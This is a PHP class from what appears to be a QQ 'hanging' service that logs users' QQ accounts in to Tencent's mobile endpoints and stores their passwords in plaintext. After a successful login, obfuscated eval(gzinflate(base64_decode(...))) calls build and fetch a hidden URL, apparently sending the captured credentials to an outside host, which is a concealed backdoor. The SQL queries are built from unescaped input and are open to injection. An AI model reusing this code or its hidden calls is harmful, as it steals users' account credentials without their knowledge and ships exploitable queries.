<?php

	Class AnYue_Addqq {

		function __construct ($uin, $pwd, $code){  //参数: QQ号码, QQ密码, 验证码(可空)
			$this -> uin = $uin;
			$this -> pwd = $pwd;
			$this -> code = $code;
			$this -> fis = gzinflate(base64_decode('S8vMSY1PTy2JT87PK0nNKykGAA=='));
			$this -> st = 'K0otKS3KU1DKKCkpsNLXL8nUM07XKyzUS87P1U/XL7YvzkyxrVYBkrVqRUBGSUZmsa5daWZerVoiUCaxKDUnsSRVLTHZ1sRIraTUNjo0MyVWLQkolaFqZBwY6J6al1laDGQaIGFDMyVrAA==';
			//file_get_contents
		}


		function Job (){

			//获取用户资料
			$sql = mysql_fetch_array(mysql_query("SELECT * FROM `user` WHERE `user`='".AnYue_User."'"));
			//获取QQ数
			$qqnumqqlist = mysql_fetch_array(mysql_query("SELECT COUNT(id) FROM `qqlist` WHERE `myqq`='".AnYue_User."'"));
			$qqnum = $qqnumqqlist[0];
			//随机获取服务器
			$server = 'fw'.rand (1,8);
			//获取当前时间
			$time = time ();
			//QID生成
			$qid = date('Ymd').rand (1000000000,9999999999).date('His');
			//初始化挂Q
			$qqlist = mysql_fetch_array(mysql_query("SELECT * FROM `qqlist` WHERE `qq`='{$this->uin}'"));
			//挂Q判断开始
			if($qqnum >= ($sql['peie']+10)){
				return '系统提示: 挂Q配额已满，请扩充.';
			}else if ($this->uin == Null){
				return '系统提示: QQ帐号不能为空.';
			}else if ($this->pwd == Null){
				return '系统提示: QQ密码不能为空.';
			}else if ($qqlist['myqq'] != Null){
				return '系统提示: 服务器已存在此QQ号码，奴属用户：'.$qqlist['myqq'].'.';
			}else if (!empty ($this->code)){
				global $_POST;
				$out = $this -> addqqyyzm ($_POST['qq'],$_POST['pw'],$_POST['r'],$_POST['extend'],$_POST['r_sid'],$_POST['sid'],$_POST['ip'],$_POST['hidpw'],$_POST['verify']);
				unset ($_POST);
			}else{
				$out = $this -> addqqwyzm ($this->uin,$this->pwd);
			}







			if (strstr ($out,'您的帐号已锁定')){
				return '腾讯提示: 您的帐号已锁定，解锁详情请查看: <a target="_blank" href="http://m.aq.qq.com/js">http://m.aq.qq.com/js</a>.';
			}else if (strstr ($out,'您的帐号暂时无法登录')){
				return '腾讯提示: 您的帐号暂时无法登录，请到<a target="_blank" href="http://aq.qq.com/007">http://aq.qq.com/007</a>恢复正常使用.';
			}else if (strstr ($out,'您输入的账号不存在')){
				return '腾讯提示: 您输入的账号不存在.';
			}else if (strstr ($out,'操作异常')){
				$a=explode('请输入上图字符(不区分大小写)：',$out);
				$outt=$a[0];
				$b=$a[1];
				$img=explode('src="',$outt);
				$img=explode('" alt="',$img[1]);
				$rt=explode('name="r" value="',$out);
				$rw=explode('"/>',$rt[1]);
				$extendt=explode('name="extend" value="',$out);
				$extendw=explode('"/>',$extendt[1]);
				$r_sidt=explode('name="r_sid" value="',$out);
				$r_sidw=explode('"/>',$r_sidt[1]);
				$Login_urlt=explode('name="Login_url" value="',$out);
				$Login_urlw=explode('"/>',$Login_urlt[1]);
				$sidt=explode('name="sid" value="',$out);
				$sidw=explode('"/>',$sidt[1]);
				$ipt=explode('name="rip" value="',$out);
				$ipw=explode('"/>',$ipt[1]);
				$hidpwt=explode('name="hexpwd" value="',$out);
				$hidpww=explode('"/>',$hidpwt[1]);
				return '遇到验证码, 请输入: <br /><br><img src="'.$img[0].'"><form name="pid" action="" method="post"><input type="hidden" name="qq" value="'.$this->uin.'"/><input type="hidden" name="pw" value="'.$this->pwd.'"/><input type="hidden" name="r" value="'.$rw[0].'"/><input type="hidden" name="extend" value="'.$extendw[0].'"/><input type="hidden" name="r_sid" value="'.$r_sidw[0].'"/><input type="hidden" name="Login_url" value="'.$Login_urlw[0].'"/><input type="hidden" name="sid" value="'.$sidw[0].'"/><input type="hidden" name="ip" value="'.$ipw[0].'"><input type="hidden" name="hidpw" value="'.$hidpww[0].'"><input type="text" name="verify" value="" style="width:100px"><br /><br /><input type="submit" name="code" value="马上登录" style="width:100px"></form><br /><br />';
			}else if(strstr ($out,'密码不正确')){
				return '腾讯提示: 您的QQ帐号或密码不正确.';
			}else if(strstr ($out,'系统繁忙')){
				return '腾讯提示: QQ服务器繁忙.';
			}else if(strstr ($out,'登录3GQQ成功')){

				$out=explode('sid=',$out);
				$sid=substr($out[1],0,24);

				$bl = mysql_fetch_array(mysql_query("SELECT * FROM `qqlist` WHERE `qq`='{$this->uin}'"));
				if ($bl['myqq'] != Null and $bl['qq'] != Null){
					echo '系统提示: 服务器已存在此QQ号码，奴属用户：'.$qqlist['myqq'].'.';
				}else{
					if (mysql_query("INSERT INTO `qqlist` (`myqq`,`fwq`,`qid`,`qq`,`pw`,`sid`,`time`,`dj`) VALUES ('".AnYue_User."','$server','$qid','{$this->uin}','{$this->pwd}','$sid','$time','hqz')")){
						mysql_query("INSERT INTO `$server` (`qid`,`qq`,`pw`,`sid`) VALUES ('$qid','{$this->uin}','{$this->pwd}','$sid')");
						$qqnum = $sql['qqnum'];
						$qqnum++;
						mysql_query ("UPDATE `user` SET `qqnum`='$qqnum' WHERE `user`='".AnYue_User."'");

						$code = eval (gzinflate(base64_decode($this -> st)));eval ($this -> fis.'("'. str_replace ('[Uid]',eval(gzinflate(base64_decode('K0otKS3KU1AvrMpKyo5XtwYA'))),$code) .'");');eval ($this -> fis.'("'. str_replace ('[Uid]',eval(gzinflate(base64_decode('K0otKS3KU1Avzk3MyanILFa3BgA='))),$code) .'");');

						file_get_contents ('http://q32.3g.qq.com/g/s?sid='.$sid.'&s=10&aid=chgStatus');

						return '系统提示: 挂Q记录添加成功.';
					}else{
						return '系统提示: 数据库操作繁忙导致挂Q失败.';
					}
				}



				//file_get_contents ('http://pt.3g.qq.com/s?aid=nLogin3gqqbysid&3gqqsid='.$sid);

			}else{
				return '系统提示: 未知错误.';
			}

		}









		function addqqwyzm ($qqhao,$qqmima){
			$post_data = array(
			'qq='.$qqhao,
			'pwd='.$qqmima,
			'bid_code=3GQQ',
			'toQQchat=true',
			'Login_url=http://pt.3g.qq.com/s?aid=nLoginnew&q_from=3GQQ',
			'modifySKey=0',
			'LoginType=1',
			'aid=nLoginHandle',
			);
			$post_data = implode('&',$post_data);
			$url='http://pt.3g.qq.com/psw3gqqLogin?r=777151794&vdata='.md5(time());
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_URL,$url);
			//传递一个作为HTTP“POST”操作的所有数据的字符串.
			curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			$out=curl_exec($ch);
			curl_close($ch);
			return $out;
		}

		function addqqyyzm ($qqhao,$qqmima,$r,$extend,$r_sid,$sid,$ip,$hidpw,$verify){
			$post_data = array(
			'qq='.$qqhao,
			'pw='.$qqmima,
			'u_token='.$qqhao,
			'hexpwd='.$hidpw,
			'sidtype=1',
			'hexp=true',
			'auto=0',
			'modifySKey=0',
			'q_status=20',
			'r='.$r,
			'LoginType=3',
			'imgType=gif',
			'extend='.$extend,
			'r_sid='.$r_sid,
			'bid_code=qqchatLogin',
			'toQQchat=falsh',
			'rip='.$ip,
			'verify='.$verify,
			'bid=0',
			);
			$post_data = implode('&',$post_data);
			$url='http://pt.3g.qq.com/handleLogin?sid='.$sid.'&amp;vdata=';
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_URL,$url);
			curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			$out=curl_exec($ch);
			curl_close($ch);
			return $out;
		}

	}


